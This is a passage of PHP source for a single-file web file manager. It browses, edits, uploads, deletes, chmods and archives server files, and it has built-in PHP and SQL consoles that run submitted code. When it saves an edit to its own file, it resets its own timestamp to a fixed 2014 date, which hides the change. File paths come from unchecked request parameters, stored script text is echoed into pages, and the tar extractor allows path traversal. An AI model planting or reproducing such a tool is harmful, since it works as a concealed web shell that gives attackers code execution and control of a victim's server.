<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
